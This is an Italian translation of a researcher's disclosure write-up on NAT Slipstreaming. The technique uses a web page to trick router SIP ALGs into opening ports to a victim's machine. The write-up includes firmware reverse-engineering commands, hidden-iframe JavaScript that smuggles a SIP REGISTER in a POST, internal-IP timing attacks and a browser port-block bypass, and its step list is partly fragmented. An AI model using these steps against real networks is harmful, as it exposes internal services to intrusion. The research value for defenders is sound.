
NAT Slipstreaming consente a un attaccante di accedere da remoto a qualsiasi servizio TCP/UDP associato a una macchina vittima, bypassando il NAT/firewall della vittima, semplicemente se qualcuno nella rete della vittima visita un sito web.
NAT Slipstreaming permette a un attaccante di accedere da remoto a qualsiasi servizio TCP/UDP associato a qualsiasi sistema dietro il NAT della vittima, bypassando il NAT/firewall della vittima (controllo remoto arbitrario dei fori del firewall), semplicemente visitando un sito web.
v1 sviluppato da: @SamyKamkar // https://samy.pl
v2 sviluppato da: Samy Kamkar && (Ben Seri && Gregory Vishnipolsky di Armis).
Leggi l'eccellente descrizione tecnica di Ben & Gregory sulla v2 qui che approfondisce i loro aggiornamenti della v2 con molti dettagli aggiuntivi.
v1 rilasciata: 31 ottobre 👻, 2020
v2 rilasciata: 26 gennaio 2021
Codice sorgente: https://github.com/samyk/slipstream
versione animata qui generata con il mio fork di draw.io, che permette flusso di contesto sui bordi esportabile e controllo nelle animazioni
NAT Slipstreaming sfrutta il browser dell'utente insieme al meccanismo di connection tracking Application Level Gateway (ALG) integrato in NAT, router e firewall, concatenando l'estrazione dell'IP interno tramite attacco temporale o WebRTC, la scoperta automatica remota dell'MTU e della frammentazione IP, il massaggio della dimensione dei pacchetti TCP, l'uso improprio dell'autenticazione TURN, il controllo preciso dei confini dei pacchetti e la confusione dei protocolli attraverso l'abuso del browser. Poiché è il NAT o il firewall ad aprire la porta di destinazione, ciò bypassa qualsiasi restrizione sulle porte basata sul browser.
Questo attacco sfrutta il controllo arbitrario della porzione dati di alcuni pacchetti TCP e UDP senza includere intestazioni HTTP o altre; l'attacco esegue questa nuova tecnica di iniezione di pacchetti su tutti i principali browser moderni (e meno recenti), ed è una versione modernizzata della mia originale tecnica NAT Pinning del 2010 (presentata al DEFCON 18 + Black Hat 2010). Inoltre, sono incluse nuove tecniche per la scoperta dell'indirizzo IP locale.
Questo attacco richiede che il NAT/firewall supporti ALG (Application Level Gateways), che sono obbligatori per i protocolli che possono utilizzare più porte (canale di controllo + canale dati) come SIP e H.323 (protocolli VoIP), FTP, IRC DCC, ecc.
Ad alto livello, NAT Slipstreaming funziona così:
.local mDNS/Bonjour presentato non sarà utile per l'attacco)img nascosti verso tutti i gateway comuni (es. 192.168.0.1) vengono caricati in backgroundonerror/onsuccess associati ai tag imgUsiamo i NAT (Network Address Translation) per diverse ragioni. La caratteristica più utile del NAT è che permette di condividere un singolo indirizzo IP pubblico tra più sistemi. Lo fa creando una rete locale, fornendo indirizzi IP locali a tutte le macchine che si connettono, e quando uno di questi sistemi contatta Internet, riscrive i pacchetti in uscita per utilizzare l'IP pubblico in modo che le risposte tornino al NAT, e viceversa, riscrivendo l'IP di destinazione sull'IP specifico del client.
È responsabilità del NAT differenziare le connessioni agli stessi indirizzi/porte (google.com:443) dagli host interni, poiché alla fine la loro porta di uscita, IP di destinazione e IP sorgente saranno tutti uguali. Se due peer interni diversi tentano di connettersi dalla stessa porta di origine, i NAT moderni altereranno una delle porte di origine (alcune reti lo fanno per tutte le porte di origine TCP/UDP).

Da Wikipedia ala Wikiwand:``` One of the important features built on top of the Netfilter framework is connection tracking. Connection tracking allows the kernel to keep track of all logical network connections or sessions, and thereby relate all of the packets which may make up that connection. NAT relies on this information to translate all related packets in the same way, and iptables can use this information to act as a stateful firewall.
Se una macchina dietro il tuo NAT invia un pacchetto in uscita e il tuo router si aspetta che l'host remoto possa rispondere, tiene traccia delle informazioni, in particolare delle porte di origine e destinazione, degli indirizzi IP di origine e destinazione e del tuo IP interno, poi restituisce eventuali pacchetti corrispondenti al tuo IP interno.
Se un altro host sulla tua LAN tenta di stabilire la stessa connessione con le stesse porte di origine e destinazione e gli stessi IP, il tuo NAT non sarebbe in grado di discriminarla (gli IP di origine sulla tua LAN sono diversi ma vengono riscritti con lo stesso IP pubblico sul lato WAN), quindi modifica la porta di origine, ma la riscrive quando ti invia la risposta.
### Application Level Gateway
Gli ALG consentono al NAT di tracciare un protocollo multi-porta come l'FTP che esce dal tuo sistema verso un server FTP, poi tracciare quando richiedi un file da inviare al tuo IP interno su una porta specifica, l'ALG può riscrivere il pacchetto per includere il tuo IP pubblico, quindi inoltrare la connessione del server FTP di ritorno a te. Se non avesse riscritto il tuo IP, il server FTP proverebbe a riconnettersi a te sul tuo IP interno (o non ci proverebbe affatto se si aspetta che l'IP di origine sia lo stesso della connessione di segnalazione).
Da [Wikipedia](https://www.wikiwand.com/en/Application-level_gateway):```
In the context of computer networking, an application-level
gateway consists of a security component that augments a
firewall or NAT employed in a computer network. It allows
customized NAT traversal filters to be plugged into the
gateway to support address and port translation for certain
application layer "control/data" protocols such as FTP,
BitTorrent, SIP, RTSP, file transfer in IM applications, etc.
In order for these protocols to work through NAT or a
firewall, either the application has to know about an address/
port number combination that allows incoming packets, or the
NAT has to monitor the control traffic and open up port
mappings (firewall pinhole) dynamically as required.
Legitimate application data can thus be passed through the
security checks of the firewall or NAT that would have
otherwise restricted the traffic for not meeting its limited
filter criteria.
Prima di tutto vorrei vedere come i gateway comuni trattano effettivamente i pacchetti e i protocolli multi-porta come FTP, SIP, ecc. Per farlo, vorremo fare reverse engineering del firmware dei router comuni. Potremmo dumpare la flash dai router fisici, ma se riusciamo a ottenere firmware non crittografato dai produttori, saremo in grado di investigare più modelli di router e molto più velocemente.
Inizieremo con un router comune, il Netgear Nighthawk R7000. Una ricerca rapida ci aiuta a trovare un articolo di Netgear con un firmware recente. Una volta scaricato il firmware e decompresso, troviamo un file da 30MB chiamato R7000-V1.0.9.64_10.2.64.chk.```sh tigerblood:~c/ng$ wget http://www.downloads.netgear.com/files/GDC/R7000/R7000-V1.0.9.64_10.2.64.zip --2019-05-19 19:21:13-- http://www.downloads.netgear.com/files/GDC/R7000/R7000-V1.0.9.64_10.2.64.zip Resolving www.downloads.netgear.com (www.downloads.netgear.com)... 104.69.65.243 Connecting to www.downloads.netgear.com (www.downloads.netgear.com)|104.69.65.243|:80... connected. HTTP request sent, awaiting response... 200 OK Length: 31705064 (30M) [application/zip] Saving to: ‘R7000-V1.0.9.64_10.2.64.zip’
R7000-V1.0.9.64_10.2.64.zip 100%[=============================================>] 30.24M 6.25MB/s in 11s
2019-05-19 19:21:24 (2.83 MB/s) - ‘R7000-V1.0.9.64_10.2.64.zip’ saved [31705064/31705064]
tigerblood:~c/ng$ unzip R7000-V1.0.9.64_10.2.64.zip Archive: R7000-V1.0.9.64_10.2.64.zip extracting: R7000-V1.0.9.64_10.2.64.chk inflating: R7000-V1.0.9.64_10.2.64_Release_Notes.html tigerblood:~c/ng$ file R7000-V1.0.9.64_10.2.64.chk R7000-V1.0.9.64_10.2.64.chk: data tigerblood:~c/ng$ ls -lh R7000-V1.0.9.64_10.2.64.chk -rw-r--r-- 1 samy staff 30M Mar 26 11:46 R7000-V1.0.9.64_10.2.64.chk

Il comando `file` non rileva alcuna [informazione magica](https://www.wikiwand.com/en/Magic_number_(programming)), quindi possiamo usare [`binwalk`](https://github.com/ReFirmLabs/binwalk) per scansionare il file alla ricerca di dati annidati.```sh
tigerblood:~c/ng$ binwalk R7000-V1.0.9.64_10.2.64.chk
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
58 0x3A TRX firmware header, little endian, image size: 31703040 bytes, CRC32: 0xBEF1BB2F, flags: 0x0, version: 1, header size: 28 bytes, loader offset: 0x1C, linux kernel offset: 0x21E3F0, rootfs offset: 0x0
86 0x56 LZMA compressed data, properties: 0x5D, dictionary size: 65536 bytes, uncompressed size: 5436416 bytes
2221098 0x21E42A Squashfs filesystem, little endian, version 4.0, compression:xz, size: 29475437 bytes, 1988 inodes, blocksize: 131072 bytes, created: 2018-12-26 04:15:38

Uso macOS e binwalk dipende da alcune app Linux di default che causerebbero il fallimento di binwalk -e (che estrae file) quindi estraggo manualmente (e <3 perl golf).```sh
tigerblood:~c/ng$ perl -ne'$@.=$_}{print+substr$@,2221098' R7000-V1.0.9.64_10.2.64.chk > squash.fs
Oppure usa [`inout`](https://github.com/samyk/samytools/blob/master/inout), ad esempio `inout R7000-V1.0.9.64_10.2.64.chk 2221098`.
Potresti usare `dd`, ma vorresti un `bs` (dimensione blocco) grande in modo che produca output rapidamente, ad esempio 1024; tuttavia l'attributo `skip` (per dirgli di iniziare alla posizione del blob squashfs) rispetterebbe la dimensione del blocco e 2221098 non è ovviamente divisibile in modo rapido a mente se non per 2... ora sono curioso.```sh
tigerblood:~c/ng$ time dd if=R7000-V1.0.9.64_10.2.64.chk skip=$((2221098/2)) bs=2 of=squash.fs2
14741000+0 records in
14741000+0 records out
29482000 bytes transferred in 78.363403 secs (376222 bytes/sec)
real 1m18.385s
user 0m12.553s
sys 1m4.451s
Ora scompattiamo il filesystem squash. Ho creato un fork di un fork di squashfs-tools che gira su macOS e ha il supporto per lzo. Potresti aver bisogno di installare anche xz e lzo. In alternativa, potresti usare sasquatch su Linux.```sh
tigerblood:~c/ng$ sudo port install xz lzo
...
tigerblood:~c/ng$ git clone https://github.com/samyk/squashfs-tools && cd squashfs-tools/squashfs-tools && make && sudo make install && cd ../..
E infine possiamo decomprimere il squash fs.```sh
tigerblood:~c/ng$ unsquashfs -l -no squash.fs
Parallel unsquashfs: Using 8 processors
1881 inodes (2535 blocks) to write
squashfs-root
squashfs-root/bin
squashfs-root/bin/addgroup
... (many more files) ...
tigerblood:~c/ng$ cd squashfs-root && ls
bin data dev etc lib media mnt opt proc sbin share sys tmp usr var www
Ora abbiamo il sistema operativo grezzo da esplorare!
Ora vediamo se riusciamo a trovare file rilevanti per FTP, dato che era un protocollo molto usato, quindi il supporto ALG sarà diffuso tra i router. Uso il mio g tool che è solo un comodo wrapper attorno a egrep.```sh
tigerblood:~c/ng/squashfs-root$ find . | g ftp
./usr/bin/tftp
./usr/sbin/bftpd
./usr/sbin/ftp
./usr/sbin/ftpc
./usr/etc/sftp-ssh.service
Niente di interessante, quindi eseguiamo `g` per i file binari il cui contenuto corrisponde a /ftp/, ignorando alcuni file di cui non ci importa.```sh
tigerblood:~c/ng/squashfs-root$ g -la ftp -v '\.(html?|js|gif)$|www/|bin/'
lib/libsmbd-base-samba4.so
lib/libavformat.so.55
lib/libavutil.so.52
lib/libavcodec.so.55
lib/modules/tdts.ko
lib/modules/2.6.36.4brcmarm+/kernel/lib/br_dns_hijack.ko
lib/libcrypto.so.1.0.0
opt/xagent/certs/ca-bundle-mega.crt
usr/etc/sftp-ssh.service
usr/lib/libnvram.so
usr/lib/libcurl.a
usr/lib/libcurl.so.4.3.0
usr/lib/libcurl.so
usr/share/avahi/service-types
usr/share/libcrypto.so.1.0.0
g scansiona ricorsivamente la directory di lavoro corrente per impostazione predefinita. -l serve per stampare solo i nomi dei file (poiché questi saranno per lo più binari), -a per scansionare file binari, ftp per il testo da trovare, e -v '\.(html?|js|gif)$|www/|bin/' per ignorare file web ed eseguibili (che si trovano in (s)bin/).
I file lib/lib*.{a,so}{.*,} (formato bash) non sono interessanti, quindi scansioniamo di nuovo con meno:```sh
tigerblood:~c/ng/squashfs-root$ g -la ftp -v '.(html?|js|gif)$|www/|bin/|lib.*.(so|a)(.|$)'
lib/modules/tdts.ko
lib/modules/2.6.36.4brcmarm+/kernel/lib/br_dns_hijack.ko
opt/xagent/certs/ca-bundle-mega.crt
usr/etc/sftp-ssh.service
usr/share/avahi/service-types
### Esplorando Funzioni Potenzialmente Utili
Ok, due file di interesse -- `lib/modules/tdts.ko` potrebbero essere correlati, e `lib/modules/2.6.36.4brcmarm+/kernel/lib/br_dns_hijack.ko` probabilmente non è correlato ma sembra interessante! Potrei indagare su quello più tardi.```sh
tigerblood:~c/ng/squashfs-root$ file lib/modules/tdts.ko
lib/modules/tdts.ko: ELF 32-bit LSB relocatable, ARM, EABI5 version 1 (SYSV), BuildID[sha1]=0aa35748e245e60273ceb5a48641e424d069235b, not stripped
tigerblood:~c/ng/squashfs-root$ strings lib/modules/tdts.ko | g ftp
ftp_decoder_open
ftp_decoder_close
ftp_decode_epsv_resp
ftp_decode_eprt_cmd
ftp_decode_pasv_resp
ftp_decode
ftp_decode_port_cmd
ftp_decoder
check_ftp_ft_rule
Ottimo! Un kernel object (.ko) con funzioni ftp, e con parole come "port", è probabilmente correlato a un ALG FTP. L'FTP RFC 959 spiega il significato del comando PORT:```
DATA PORT (PORT)
The argument is a HOST-PORT specification for the data port to be used in data connection. There are defaults for both the user and server data ports, and under normal circumstances this command and its reply are not needed. If this command is used, the argument is the concatenation of a 32-bit internet host address and a 16-bit TCP port address. This address information is broken into 8-bit fields and the value of each field is transmitted as a decimal number (in character string representation). The fields are separated by commas. A port command would be: PORT h1,h2,h3,h4,p1,p2 where h1 is the high order 8 bits of the internet host address.
### Porte / Servizi da Investigare
Sebbene abbiamo trovato alcune funzioni FTP, siamo più interessati alle porte che possiamo utilizzare. I browser moderni impediscono le connessioni HTTP(S) in uscita verso un certo numero di [porte riservate](https://github.com/samyk/chromium/blob/2d57e5b8afc6d01b344a8d95d3470d46b35845c5/net/base/port_util.cc#L20-L90), incluso FTP, quindi abusare dell'ALG FTP è probabilmente inutile.
Nel 2010, quando [ho dimostrato per la prima volta il NAT Pinning](https://samy.pl/natpin/), ho usato la porta 6667 (IRC) tramite i messaggi DCC CHAT/FILE. Rapidamente, i fornitori di browser hanno bloccato la porta 6667...anche se alcuni usavano un `uint32` (intero senza segno a 32 bit) per memorizzare la porta, verificare se la porta era bloccata e, in caso contrario, connettersi. Per aggirare ciò, è importante notare che le porte TCP sono lunghe 16 bit, quindi se aggiungi 2**16 (65536) alla porta "riservata" scelta, in questo caso 65536+6667=72203, il browser memorizzerebbe 72203, supererebbe la restrizione sulla porta (72203 != 6667), quindi verrebbe inviato allo stack TCP dove viene troncato a 16 bit, che è la porta riservata che volevamo!
Il mio semplice [`base calculator, 3`](https://github.com/samyk/samytools/blob/master/3) mostra questo (db = dec -> bin):```sh
tigerblood:/Users/samy/d$ 3 db 65536 6667 65536+6667
000000010000000000000000
000000000001101000001011
000000010001101000001011
Possiamo vederlo meglio usando il mio strumento diffbits, un semplice strumento per visualizzare somiglianze e differenze tra stringhe di bit, così come tra più gruppi di stringhe di bit, utile per fare reverse engineering di protocolli binari proprietari.

Apri il tuo disassemblatore preferito. Io ho usato Ghidra dei nostri amici della NSA poiché è gratuito e open source.
Alcune delle funzioni che abbiamo visto in tdts.ko tramite strings erano ftp_decode e ftp_decoder, quindi è possibile che altri ALG abbiano una funzione _decode. Diamo un'occhiata...

Bene, un sacco di funzioni _decode... scorrendo verso il basso, una interessante è sip_decode.

Controllando le porte del browser limitate, vediamo che la 5060, la porta SIP predefinita, non è limitata in Chrome :)
SIP risiede su TCP/UDP 5060, ma i media come RTP (audio) vengono inviati su porte alternative generate al volo. Quando si invia una richiesta per una chiamata SIP, il client SIP sceglie una porta casuale, la apre e la include nell'intestazione SIP. Il tuo NAT dovrebbe vederla e aprirla, assumendo che il SIP ALG sia abilitato (ed è attivo sulla maggior parte dei router per impostazione predefinita).
Supponendo che i NAT leggano i pacchetti SIP riga per riga (SIP è basato su nuove righe come HTTP e non è un protocollo binario), forse ignoreranno l'intestazione HTTP e, una volta arrivati ai dati POST, leggeranno il comando REGISTER e crederanno che si tratti di un pacchetto SIP. Questo ha funzionato nella nostra versione del 2010 per l'IRC DCC. Il NAT ignorava l'intestazione HTTP e analizzava solo il comando IRC DCC.
Cosa divertente, questo ci ha anche permesso di far sì che gli utenti che visitavano il nostro sito si connettessero a un server IRC legittimo, si unissero a un canale e inviassero un messaggio dal loro IP senza che loro lo sapessero! :P Ho dimostrato questa tecnica per inviare email a server di posta con indirizzi IP client prima che la porta 25 fosse bloccata dai browser e prima che i record SPF fossero comuni... pazzia.
Ora, in un test rapido, l'invio di un pacchetto SIP REGISTER sulla porta 5060 tramite una richiesta HTTP POST non sembra funzionare... forse ci sfugge qualcosa dal pacchetto.```javascript // our sip message var sipmsg = 'REGISTER sip:samy.pl;transport=TCP SIP/2.0\r\n' + 'Contact: sip:[email protected]:1234;transport=TCP\r\n\r\n'
// load form in an iframe so user doesn't see it var iframe = document.createElement('iframe') iframe.name = 'iframe' iframe.style.display = 'none' // hide the iframe
// create form var form = document.createElement('form') form.setAttribute('target', 'iframe') // load into iframe form.setAttribute('method', 'POST') // need the POST area where we can add CRLFs form.setAttribute('action', 'http://samy.pl:5060') // "http" server on SIP port 5060 form.setAttribute('enctype', 'multipart/form-data') // ensure our data doesn't get encoded
var textarea = document.createElement('textarea') textarea.setAttribute('name', 'textname') // required textarea.innerHTML = sipmsg form.appendChild(textarea) document.body.appendChild(iframe) document.body.appendChild(form) form.submit()
Se sniffiamo, vediamo (analizzato tramite [`h2b`](https://github.com/samyk/samytools/blob/master/h2b)):```sh
$ unbuffer tcpdump -X port 5060 | h2b
POST / HTTP/1.1
Host: samy.pl:5060
Connection: keep-alive
Content-Length: 191
Cache-Control: max-age=0
Origin: http://samy.pl
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryhcoAd2iSAx3TJA7A
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.66 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://samy.pl/o/sp.html
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
------WebKitFormBoundaryhcoAd2iSAx3TJA7A
Content-Disposition: form-data; name="textname"
REGISTER sip:samy.pl;transport=TCP SIP/2.0
Contact: <sip:[email protected]:1234;transport=TCP>
------WebKitFormBoundaryhcoAd2iSAx3TJA7A--
Tuttavia, questo non apre la porta, né l'IP viene riscritto come ci aspetteremmo (ne parleremo più avanti), quindi ci deve mancare qualcosa.
Continuiamo a scavare nell'oggetto kernel. Nel disassembly, vediamo il tag "SIP/2.0" da un pacchetto SIP, quindi è probabile che faccia il parsing qui (che "decode" suggerisce).

Ah, ecco perché falliamo. Sembra che esegua strncasecmp su INVITE (parsing simile su REGISTER) -- confrontando (case-insensitive, il che è interessante poiché gli INVITE SIP sono in maiuscolo) la parola "INVITE" all'inizio del pacchetto e branches if not equal (assembly ARM bne) a 0, quindi se le parole corrispondono, l'ordine lessicografico sarà 0 e continueremo con ct_sip_get_header che sembra interessante, e altrimenti sembra uscire.
Questo è il problema... mentre possiamo usare un browser web per produrre socket in uscita (TCP via HTTP(S), UDP via TURN con WebRTC), non abbiamo abbastanza controllo sul browser per far iniziare la porzione di dati TCP con la parola "INVITE", come questo modulo si aspetta. Nella versione IRC del 2010, l'ALG IRC guardava solo riga per riga, ignorando tutti i dati dell'intestazione HTTP, poi usava i newline nei dati POST per inviare un valido "IRC DCC". Tuttavia, questo ALG SIP è molto più restrittivo e controllare l'inizio della richiesta non è possibile. Se si usa TLS, l'intestazione crittografata inizierà il pacchetto. Se si usa HTTP, il metodo HTTP inizierà il pacchetto (GET, POST, ecc.). Possiamo sfruttarlo in qualche altro modo?
Per comprendere meglio il connection tracking e gli Application Level Gateway, possiamo vedere come si comportano in netfilter, lo stack di rete di Linux. Ho creato un grafico degli ALG più comuni e di come si comportano basandomi sul parsing del sorgente Linux.

Da questo grafico, i più interessanti (che Chrome non blocca) sono sane (backup), sip (voip), pptp (vpn) e h323 (voip). Sceglieremo SIP poiché è uno dei più diffusi tra questi protocolli e lo vediamo già nel firmware di alcuni router.
Linux ha specificamente file nf_conntrack_*.c per gestire il connection tracking per protocollo, e nf_nat_*.c per il packet mangling (modifica).
Diamo una rapida occhiata al modulo di connection tracking SIP
module_init(nf_conntrack_sip_init) inizializza questo connection tracker, chiamando nf_conntrack_sip_initnf_ct_helper_init(...AF_INET, IPPROTO_TCP, "sip", SIP_PORT...) ci aspettiamo che la segnalazione arrivi da IPv4 AF_INET TCP IPPROTO_TCP porta 5060 SIP_PORT...questo avviene per UDP, TCP, IPv4 e IPv6sip_help_tcp(...) chiamato quando arriva un pacchetto SIP TCP corrispondente
process_sip_msg(...) se questo sembra un potenziale pacchetto SIP
Per quanto ne sappiamo, non possiamo far sì che il browser forzi una connessione TCP in uscita con il traffico che vogliamo, ed è necessario per noi creare un pacchetto TCP/UDP che inizi con un metodo SIP come REGISTER o INVITE.
Flash permetteva socket in uscita, ma in un formato su cui non avevamo pieno controllo. Java richiede permessi. I WebSocket sono ancora HTTP. TLS è crittografato. WebRTC (RFC 7742) è crittografato. STUN (RFC 3489) e TURN (RFC 5766) hanno formati fissi, e TURNS (RFC 7065) è crittografato.
Ad alto livello, non possiamo controllare l'inizio del pacchetto TCP, ma cosa succede se inviamo un pacchetto troppo grande? Deve esserci una dimensione massima del pacchetto...a quel punto, un pacchetto deve essere frammentato in più pacchetti. Se possiamo superare la dimensione del pacchetto TCP e controllare con precisione parte dei dati, potremmo causare la segmentazione del pacchetto e avere i nostri dati all'inizio del nostro prossimo pacchetto eccedente?
Beh, avremmo bisogno di sapere quanti dati invierà il browser, che sarà diverso per ogni browser, e anche per utente poiché potrebbero inviare intestazioni HTTP diverse. HTTPS non funzionerà poiché la maggior parte del contenuto è crittografata, mentre un HTTP POST ci permette di controllare una grande porzione dell'intestazione.
Per ottenere la dimensione generale del pacchetto, inviamo un HTTP POST grande (6000 byte) con un ID e dati di riempimento tramite un modulo web nascosto al nostro http://our.attack.server:5060/pktsize. Sul server attaccante, eseguiamo un packet sniffer che cerca i confini del nostro pacchetto per determinare la dimensione MTU (Maximum Transmission Unit), la dimensione dell'intestazione IP, eventuali opzioni IP, la dimensione dell'intestazione TCP, eventuali opzioni TCP, la dimensione del pacchetto dati e quale porzione del pacchetto controlliamo.
Eseguiamo anche un server personalizzato che ascolta sulla porta TCP 5060 e risponde con traffico HTTP per accontentare il browser in modo che nulla sembri sospetto dal lato client (un server con una risposta malformata causerebbe errori nella console, o un server che risponde in modo errato terrebbe attivo lo spinner di stato).

Cerchiamo inoltre di controllare la dimensione dei dati del pacchetto TCP inviando un'opzione TCP Maximum Segment Size (mss) durante la risposta SYN iniziale per manipolare le dimensioni dei pacchetti in uscita della vittima (RFC 793 x3.1). Questo dice alla macchina vittima di mantenere i pacchetti TCP a una certa dimensione.

Puoi farlo su Linux aggiungendo advmss <size> a ip route. Useremo 1500.```sh
ip route replace default via [gateway] dev eth0 advmss 1500
Una volta ottenuti i pacchetti, inviamo i dati sulla dimensione al client vittima tramite una POST separata, che invia l'ID della vittima in modo da poterlo correlare con la richiesta originale della vittima. A questo punto, il client ha una buona idea di come riempire i pacchetti per far sì che dati arbitrari finiscano in una posizione specifica all'interno di un pacchetto TCP.
### Frammentazione IP con UDP e TURN
Alcuni NAT consentono l'accesso alle porte UDP solo se la connessione SIP era originariamente UDP, quindi in questo caso usiamo TURN. TURN è un protocollo che supporta il relay per comunicazioni peer-to-peer come SIP e WebRTC. TURN è UDP mentre TURNS (TURN+TLS) è TCP. I browser moderni supportano TURN per WebRTC nel caso non possano stabilire una connessione diretta peer-to-peer per la condivisione di media.
TURN consente l'autenticazione tramite nome utente e password; il nome utente viene inviato in chiaro. È interessante notare che il nome utente non ha limiti di dimensione o caratteri, quindi possiamo usarlo per eseguire lo stesso tipo di overflow di pacchetti.
Poiché TURN utilizza UDP, il pacchetto IP stesso verrà frammentato se supera la dimensione MTU (UDP non supporta la segmentazione). Il secondo pacchetto non avrà solo la porzione di dati sotto il nostro controllo, ma anche l'intestazione UDP! Questo non è importante per il nostro attacco, ma è interessante e può sicuramente generare attacchi alternativi. In definitiva, possiamo eseguire lo stesso attacco tramite UDP allineando il nostro confine di pacchetto in base alla dimensione MTU calcolata anziché MSS, facendo sì che il nostro pacchetto SIP UDP si trovi al confine del secondo pacchetto (con un'intestazione UDP fittizia preposta) consentendoci di inoltrare le porte UDP alla nostra vittima.
## Attacco temporale TCP / Scoperta della sottorete interna e dell'IP
Oh, ancora non funziona! Affinché l'ALG lo tratti come un pacchetto SIP legittimo, l'indirizzo IP a cui stai richiedendo che i dati tornino (nella riga [`Contact`](https://tools.ietf.org/html/rfc2543#section-6.13) del SIP) deve essere l'IP interno (vittima) da cui proviene il pacchetto SIP, che non conosciamo. Solo l'indirizzo IP pubblico del router viene trasmesso al nostro server (poiché il NAT riscrive l'IP sorgente quando esce dal lato pubblico).
Vediamo questo controllo in `nf_conntrack_sip.c` di Linux, nella funzione [process\_sip\_request](https://github.com/samyk/linux/blob/ea2cec24c8d429ee6f99040e4eb6c7ad627fe777/net/netfilter/nf_conntrack_sip.c#L1260):

Nel [2010](https://samy.pl/natpin/), abbiamo usato [LiveConnect](https://developer.mozilla.org/en-US/docs/Archive/Web/LiveConnect) che consentiva di eseguire codice Java da Javascript in alcune condizioni, estraendo l'IP locale dell'utente. È diventato obsoleto abbastanza rapidamente.
Su alcuni browser (Chrome, Firefox), possiamo usare [WebRTC](https://www.w3.org/TR/webrtc/) per ottenere l'IP interno della vittima tramite [ICE](https://tools.ietf.org/html/rfc5245) (che usa STUN/TURN/TURNS). Questi sono protocolli per aiutare i peer dietro NAT a determinare informazioni su se stessi. Ironia della sorte, non è necessario utilizzare alcun server nella "richiesta" ICE poiché il browser conosce già il proprio IP interno, e un server STUN/TURN remoto non lo saprebbe comunque a meno che il client non lo invii. Il problema è che non tutti i browser forniscono questo meccanismo.
Oggi, per ottenere l'indirizzo IP locale tramite WebRTC su Chrome, anziché un indirizzo `.local` mDNS/Bonjour, è necessario usare HTTPS, ma per il resto degli attacchi è necessario HTTP, quindi prima rileviamo se siamo su HTTP e, in caso contrario, reindirizziamo a HTTPS. Tentiamo quindi di usare WebRTC per estrarre l'indirizzo IP locale. In ogni caso, reindirizziamo poi a HTTP con gli IP aggiunti all'URL per bypassare le restrizioni cross-origin tramite altri metodi di comunicazione.
### Attacco temporale
Se si utilizza Safari, IE <= 11 o altri che non supportano WebRTC o intenzionalmente non rivelano l'IP interno (Safari), possiamo usare un attacco temporale web per rivelare l'indirizzo IP interno della vittima.
Lo gestiamo creando prima tag HTML `` nascoste nella pagina, tutte indirizzate a gateway comuni (192.168.*.1, 10.0.0.1 e [altri](https://github.com/samyk/slipstream/blob/main/server#L159)), insieme a eventi Javascript `onsuccess` e `onerror`. Ogni volta che un img viene scritto nella pagina, viene avviato un timer e se `onsuccess` si carica, significa che l'IP ha risposto con un server web; se nessun server web è in esecuzione ma l'IP è sulla rete, invierà un TCP RST (reset, che indica porta non aperta), attivando `onerror`. Se nessun IP esiste, non viene inviato alcun RST e la risposta richiede più di 1 secondo, a quel punto sappiamo che l'IP non esiste sulla nostra rete.
Una volta che osserviamo uno di questi eventi attivarsi, conosciamo una potenziale sottorete interna su cui ci troviamo, quindi eseguiamo lo stesso attacco per ogni IP sulla sottorete (es., 192.168.0.[2-255]), e questa volta eseguiamo un timing più preciso per determinare quale IP risponde **più velocemente**. Questo è molto probabilmente il nostro IP interno (vittima), poiché non dobbiamo nemmeno uscire dall'interfaccia di rete. Anche se per qualche motivo non siamo i primi, tentiamo comunque il nostro attacco su tutti gli IP che hanno risposto sulla rete.
## Confusione del protocollo nel browser
Una volta che il client ottiene le dimensioni dei pacchetti e l'indirizzo IP interno, costruisce un modulo web appositamente progettato che riempie i dati POST fino a quando riteniamo che il pacchetto si frammenterà, a quel punto viene aggiunto il nostro REGISTER SIP contenente l'indirizzo IP interno. Il modulo viene inviato tramite Javascript senza il consenso della vittima. :)
[](img/pinpkt.png)
### Alterazione live del pacchetto nel browser
Sul nostro server di attacco, poiché possiamo vedere i pacchetti in arrivo, controlliamo se il pacchetto SIP è stato riscritto con l'indirizzo IP pubblico. Se non lo è, comunichiamo automaticamente al client che il pacchetto SIP non si trovava sul confine di pacchetto previsto e non è stato riscritto, e forniamo la nuova posizione del confine dal nostro sniffer.
Il codice client regola automaticamente la dimensione del pacchetto alla nuova dimensione solo dopo due fallimenti consecutivi. Alcuni browser (Firefox) a volte hanno una dimensione del pacchetto leggermente diversa a causa del multipart-boundary che generano per il modulo, che, a differenza della maggior parte degli altri browser, non ha una lunghezza fissa. Ho scoperto che dopo circa 10 tentativi, verrà utilizzata la stessa dimensione e l'attacco avrà successo.
Una volta che il pacchetto SIP si posiziona sul confine del pacchetto, il NAT verrà ingannato, credendo che si tratti di una registrazione SIP legittima proveniente da un client SIP sulla macchina della vittima. Una volta che il nostro server risponde con una corretta risposta SIP (annidata all'interno di una corretta risposta HTTP per evitare che il browser rilevi qualcosa di sospetto), il NAT aprirà la porta nel pacchetto originale che abbiamo fatto inviare alla vittima e il router ora **inoltrerà qualsiasi porta scelta dall'attaccante verso la vittima interna, tutto semplicemente navigando su un sito web**.
Attacco completato. L'attaccante può ora connettersi a servizi TCP/UDP arbitrari in esecuzione sulla vittima.
# Altre scoperte
Queste non sono utilizzate in questo attacco, ma sono comunque interessanti e potrebbero potenzialmente essere usate per altri attacchi.
- La frammentazione IP consente il controllo completo di tutti i dati nella sezione dati IP, il che significa il controllo completo di un'intestazione UDP inclusi porte sorgente/destinazione nel pacchetto overflow
- Lo stack IP della vittima riassembla e non analizzerà i dati, tuttavia il NAT attraverso cui passa il pacchetto sarà vulnerabile
- Consente di bypassare il firewall del browser o di sistema poiché solo la porta UDP del pacchetto originale viene ispezionata, non quella del pacchetto frammentato in overflow
- DoS su un client SIP inviando `Expires: 0` e rimuovendo il conntrack per qualcun altro
- Se una porta è già occupata, la porta ascoltata viene incrementata fino a quando la porta non va in overflow a 0
- STUN non ha autenticazione implementata in nessun browser moderno
# Download
Grazie per aver letto! Puoi scaricare il codice proof of concept dal mio [github di NAT Slipstream](https://github.com/samyk/slipstream).
# Contatti
**Punto di contatto:** [@SamyKamkar](https://twitter.com/samykamkar)
Trova altri miei progetti su <https://samy.pl> o eventualmente contattami a <[email protected]>.
